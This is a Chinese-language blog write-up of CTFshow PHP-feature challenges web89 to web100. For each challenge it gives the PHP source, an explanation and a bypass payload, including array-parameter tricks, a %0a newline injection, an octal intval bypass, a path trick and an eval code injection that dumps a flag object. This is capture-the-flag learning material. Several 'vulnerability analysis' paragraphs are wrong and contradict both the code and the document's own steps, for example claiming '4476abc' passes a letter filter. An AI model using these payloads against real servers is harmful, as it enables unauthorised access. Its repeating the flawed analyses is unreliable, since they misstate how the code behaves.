CTFshow

PHP的特性

web89

<?php

include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if (preg_match("/[0-9]/", $num)) {
        die("no no no!");
    }
    if (intval($num)) {
        echo $flag;
    }
}

代码讲解 

1.代码中包含了一个名为"flag.php"的文件,这是一个包含敏感信息(例如标志)的文件。include("flag.php");语句用于将该文件的内容包含在当前文件中。
2.用户输入处理: 代码通过$_GET['num']接收用户输入,并存储在变量$num中。然后,它使用正则表达式检查用户输入是否包含数字。如果用户输入中包含数字,程序将终止执行并输出"no no no!"。
3.类型转换: 如果用户输入不包含数字,代码尝试将其转换为整数(intval($num))。如果转换成功(即用户输入是一个非零整数),则会输出标志内容。
4.漏洞分析: 代码存在一个安全漏洞,即对用户输入的过滤不足。攻击者可以通过构造恶意输入,绕过数字检查,使程序执行include("flag.php");并输出标志内容。

步骤

1.通过get传参num来传入数据

2.当传入传入数据后isset判断有数据,将传进来的参数赋值给 $num

3.接下来就是preg_match 的正则判断了不能输入【0-9】也无法输入小数点

4.不过当了解过数组绕过这个知识点的时候就大概有了解题方法了

数组绕过:当你传入的参数为数组类型的,则会返回null这样就绕过了正则验证

5.而intval会获取数组中的整数值

/?num[]=1

flag{You have successfully completed web89!}

web90

代码讲解

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num === "4476") {
        die("no no no!");
    }
    if (intval($num, 0) === 4476) {
        echo $flag;
    } else {
        echo intval($num, 0);
    }
}

1.文件包含: 代码中包含了一个名为"flag.php"的文件,这是一个包含敏感信息(例如标志)的文件。include("flag.php");语句用于将该文件的内容包含在当前文件中。
2.用户输入处理: 代码通过$_GET['num']接收用户输入,并存储在变量$num中。然后,它首先检查用户输入是否等于字符串"4476",如果相等,则输出"no no no!"并终止执行。
3.类型转换: 如果用户输入不等于字符串"4476",代码尝试将其转换为整数(intval($num, 0))。如果转换成功且等于4476,则输出标志内容。否则,输出转换后的整数值。
4.漏洞分析: 通过将用户输入硬编码为字符串"4476",代码试图防止直接输入4476以绕过漏洞。然而,由于存在类型转换,攻击者仍然可以通过输入"0e4476"绕过数字检查,使程序输出标志内容。

步骤

1.还是老规矩num传参判断是否由数据赋值给$num

2.但是第一个if判断不能为 4476 第二个判断需要 == 4476这里就学到了,判断相等有两个符号

3. == 只判断数值是否相等,不管变量类型是什么

4. === 要求数值,和类型都要相等

5. 这样我们就知道第一个if判断值和数据类型。那么如何让他不为4476的整数型呐?

6. 下面我们可以看到第二个if判断使用intval() 这个是取整数值 这样就简单了我们使用浮点数不就绕过了嘛

/?num=4476.0

flag{You have successfully completed web90!}

web91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

代码讲解

1.文件包含: 代码中包含了一个名为"flag.php"的文件,这是一个包含敏感信息(例如标志)的文件。include('flag.php');语句用于将该文件的内容包含在当前文件中。
2.用户输入处理: 代码通过$_GET['cmd']接收用户输入,并存储在变量$a中。
3.正则表达式检查: 代码使用两个正则表达式检查用户输入是否以"php"开头(不区分大小写)。如果用户输入以"php"开头,那么代码会进一步检查是否完全匹配"php",如果匹配,则输出’hacker’;否则输出标志内容。如果用户输入不以"php"开头,则输出’nonononono’。
4.漏洞分析: 此代码存在一个安全漏洞,因为正则表达式检查的逻辑导致了绕过。攻击者可以通过在输入中添加换行符\n或其他字符来绕过第一个正则表达式检查,然后绕过第二个正则表达式检查,最终输出标志内容。

步骤

1. PHP中preg_match()正则匹配

2. ^:开始匹配 $:匹配结束

3. /i: 表示匹配的时候不区分大小写;

4. m: 表示换行匹配,指就是匹配换行符两端的潜在匹配

5. 了解这些后我们可以看到两个if判断第一个存在多行匹配,第二个不存在

6. 我们要做的是输入的数据可以满足第一个if条件但是不满足第二个if条件可以使用

/?cmd=php%0a123

%0a(表示换行)

web92 

代码讲解

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

1.文件包含: 代码中包含了一个名为"flag.php"的文件,这是一个包含敏感信息(例如标志)的文件。include("flag.php");语句用于将该文件的内容包含在当前文件中。
2.用户输入处理: 代码通过$_GET['num']接收用户输入,并存储在变量$num中。
3.条件判断: 代码首先检查用户输入是否等于整数4476,如果相等,则输出"no no no!"并终止执行。然后,代码再次检查用户输入是否等于整数4476,如果相等,则输出标志内容。如果用户输入不等于整数4476,则输出转换后的整数值。
4.漏洞分析: 该代码存在一个安全漏洞,即使用相等(==)进行比较。攻击者可以通过输入字符串"4476abc",由于PHP的弱类型比较,该字符串会被转换为整数4476,从而绕过第一个条件,最终导致输出标志内容。

步骤

1、 第一个if判断 == 值判断值是否相等

2、 第二个if判断 == 取整数值判断是否相等

3、 我们要做到第一个if判断不成立第二个判断成立,那该怎么办?

4、 这里我们不能使用 4476.0 这个因为==判断 这个是成立的这里需要使用 4476.1 这样第一个就不成立第二个取整数中值后还是成立

/?num=4476.1

web93 

代码讲解

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

1.文件包含: 代码中包含了一个名为"flag.php"的文件,这是一个包含敏感信息(例如标志)的文件。include("flag.php");语句用于将该文件的内容包含在当前文件中。
2.用户输入处理: 代码通过$_GET['num']接收用户输入,并存储在变量$num中。
3.条件判断: 代码首先检查用户输入是否等于整数4476,如果相等,则输出"no no no!"并终止执行。然后,代码使用正则表达式检查用户输入是否包含任何字母,如果包含字母,则输出"no no no!"并终止执行。最后,代码再次检查用户输入是否等于整数4476,如果相等,则输出标志内容。如果用户输入不等于整数4476,则输出转换后的整数值。
4.漏洞分析: 通过添加字母到用户输入,攻击者可以绕过第一个条件,并且由于正则表达式不区分大小写,仍然可以绕过第二个条件。因此,攻击者可以输入字符串"4476abc",最终导致输出标志内容。

步骤

1、 三个if判断 发现比上题多出了一个 正则判断

2、 但是当我们使用上题的解题思路发现我们传参的值根本不会经过中间if判断哈哈

3、 所以Simple

/?num=4476.1

web94 

代码讲解

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

1.文件包含: 代码中包含了一个名为"flag.php"的文件,这是一个包含敏感信息(例如标志)的文件。include("flag.php");语句用于将该文件的内容包含在当前文件中。
2.用户输入处理: 代码通过$_GET['num']接收用户输入,并存储在变量$num中。
3.条件判断: 代码使用了多个条件进行判断:

(1)首先,检查用户输入是否完全等于字符串"4476",如果相等,则输出"no no no!"并终止执行。
(2)然后,使用正则表达式检查用户输入是否包含任何字母,如果包含字母,则输出"no no no!"并终止执行。
(3)接着,使用strpos函数检查用户输入中是否包含字符"0",如果不包含,则输出"no no no!"并终止执行。
(4)最后,再次检查用户输入是否等于整数4476,如果相等,则输出标志内容。

4.漏洞分析: 尽管代码尝试通过多个条件来增加安全性,但在第三个条件中,使用strpos函数检查是否包含字符"0"的逻辑存在问题。攻击者可以通过输入字符串"4476abc",绕过前两个条件,由于不包含字符"0",绕过第三个条件,最终导致输出标志内容。

步骤

strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

注释:

1.字符串位)置从 0 开始,不是从 1 开始。

2、 这里是!strpos() 那么就是如果没有找到为false !就是反的 为 true 所以需要有 0

3、 但是仔细观察这里判断都是 === 判断数据类型 这样你好像就可以使用 4476.0了吧

/?num = 4476.0

web95

代码讲解

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

1.文件包含: 代码中包含了一个名为"flag.php"的文件,这是一个包含敏感信息(例如标志)的文件。include("flag.php");语句用于将该文件的内容包含在当前文件中。
2.用户输入处理: 代码通过$_GET['num']接收用户输入,并存储在变量$num中。
3.条件判断: 代码使用了多个条件进行判断:

(1)首先,检查用户输入是否等于整数4476,如果相等,则输出"no no no!"并终止执行。
(2)然后,使用正则表达式检查用户输入是否包含任何字母或句点(.),如果包含,则输出"no no no!!"并终止执行。
(3)接着,使用strpos函数检查用户输入中是否包含字符"0",如果不包含,则输出"no no no!!!"并终止执行。
(4)最后,再次检查用户输入是否等于整数4476,如果相等,则输出标志内容。

4.漏洞分析: 虽然代码尝试通过多个条件来增加安全性,但在第二个条件中,使用正则表达式检查是否包含字母或句点的逻辑存在问题。正则表达式/[a-z]|\./i可能会导致绕过,攻击者可以通过输入字符串"4476abc",由于句点不被拦截,最终导致输出标志内容。

步骤

1、 这里由过滤了 " . "的存在意味我们不能使用4476. 了

2、 我们需要不等于 4476 并且不能存在 . 又要存在 0 最后还要是整数 4476

3、 这里我们要了解下 intval 了

● 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
● 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
● 将使用 10 进制 (decimal)。

 

4、 这样我们就知道还可以使用进制 进制转换后我们发现 八进制符合这个

5、 但是我们发现使用八进制还是无法成功这是因为 intval()取整数值是如果最左侧为0那么就为0了不过我们可以加个 “+”号来使它认识你为正数

/?num= +010574

web96

代码讲解

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

1.文件包含: 代码使用highlight_file(__FILE__);将当前文件的源代码进行高亮显示输出。
2.用户输入处理: 通过$_GET['u']接收用户输入,并存储在变量$u中。
3.条件判断: 如果用户输入的值等于"flag.php",则输出"no no no"并终止执行。否则,通过highlight_file($_GET['u']);将用户输入的文件名进行高亮显示输出。
4.漏洞分析: 该代码存在一个潜在的文件包含漏洞,因为用户可以通过设置$_GET['u']为"flag.php"来阻止访问敏感文件。此外,虽然代码尝试使用highlight_file()函数对用户输入进行高亮显示,但仍可能存在安全风险,因为用户输入未经充分验证。

步骤 

需要你输入的值为 flag.php 但是又不能== flag.php

1、 这里我们可以使用 ./来表示当前目录或者使用绝对路径来绕过

2、 因为他是 == 而不是 === 所以还是可以绕过的

/?u=./flag.php

 web97

代码讲解

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

1.文件包含: 代码中包含了一个名为"flag.php"的文件,这是一个包含敏感信息(例如标志)的文件。include("flag.php");语句用于将该文件的内容包含在当前文件中。
2.用户输入处理: 代码使用$_POST['a']和$_POST['b']接收用户输入,并分别存储在变量$a和$b中。
3.条件判断:

(1)首先,代码通过isset($_POST['a']) and isset($_POST['b'])检查是否同时设置了$_POST['a']和$_POST['b']。如果是,则执行后续逻辑。
(2)然后,代码比较$_POST['a']和$_POST['b']的值是否相等,如果不相等,则执行下一步判断。
(3)接着,代码使用md5()函数对$_POST['a']和$_POST['b']的值进行哈希运算,并比较它们的哈希值是否相等。

如果相等,则输出标志内容。
如果不相等,则输出"Wrong."。


4漏洞分析:

这段代码存在逻辑错误。即使输入$_POST['a']和$_POST['b']不相等,但只要它们的MD5哈希值相等,就会输出标志内容。这意味着攻击者可以通过找到相同MD5哈希值的两个不同输入来绕过输入检查,从而导致输出标志内容。
此外,MD5已经被认为是不安全的哈希算法,因为它容易受到碰撞攻击,因此不建议在安全应用中使用。

步骤

1、 你输入的两个值不能相当

2、 但是md5加密后有需要相等

使用数组绕过第一个并且完成

a[]=1&b[]=2

web98 

代码讲解

<?php

include("flag.php");
$_GET ? $_GET = &$_POST : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);

1.文件包含: 代码中包含了一个名为"flag.php"的文件,这是一个包含敏感信息(例如标志)的文件。然而,由于代码混乱,不易理解,实际上很难确定该文件是否会被正确地包含进来。
2.逻辑混乱: 代码使用了三元运算符和条件判断,但逻辑非常混乱和难以理解。例如,通过将$_GET赋值给$_POST,然后检查$_GET['flag']是否等于’flag’,如果是,则将$_GET重新赋值给$_COOKIE或$_SERVER,然后根据$_GET['HTTP_FLAG']的值来输出文件内容。
3.安全隐患: 这段代码存在严重的安全隐患,包括但不限于:

代码混乱难以维护,容易引入漏洞。
使用$_GET等超全局变量直接操作用户输入,存在安全风险。
可能会导致文件包含漏洞,泄露敏感信息。
对输入的验证不充分,可能受到各种类型的攻击,包括代码注入和跨站脚本攻击(XSS)等。

步骤 

既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了

?HTTP_FLAG=随便输         //GET
HTTP_FLAG=flag           //POST

 

web100 

代码讲解

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
    if (!preg_match("/\;/", $v2)) {
        if (preg_match("/\;/", $v3)) {
            eval("$v2('ctfshow')$v3");
        }
    }
}

1.文件包含: 首先,代码使用highlight_file(__FILE__);将当前文件的源代码进行高亮显示输出。然后,代码包含了一个名为"ctfshow.php"的文件,该文件中包含了一个类ctfshow,其中包含了标志信息。
2.用户输入处理: 代码接收了三个用户输入参数v1、v2、v3,分别存储在变量$v1、$v2、$v3中。
条件判断和逻辑处理:

变量$v0用于判断三个输入参数是否均为数字类型,但代码中使用了逻辑操作符and,导致$v0的值实际上是一个布尔值,而不是判断结果。这是一个常见的错误。
如果三个输入参数均为数字类型,则进入条件判断语句。
在条件判断语句中,首先检查$v2是否不包含分号;,如果是,则进入内部条件判断。
如果$v3包含分号;,则通过eval()函数执行拼接的字符串,其中包含了$v2的值作为函数名和字符串'ctfshow'。

3.漏洞分析:

此代码存在严重的安全漏洞,因为它使用了eval()函数执行用户输入,而且没有对用户输入进行充分的验证和过滤。
攻击者可以构造恶意输入,绕过条件判断,注入任意代码,并最终执行在用户输入中指定的函数,可能导致严重的安全问题,包括代码执行漏

步骤

 

&& > || > = > and > or

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);


=的运算符比and高
所以v1输入数字 

v2是比较复杂的,用v2=var_dump($ctfshow)或者v2=var_dump(new ctfshow())

?v1=1&v2=var_dump($ctfshow)&v3=;

  • 23
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

为什么名字不能重复呢?

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值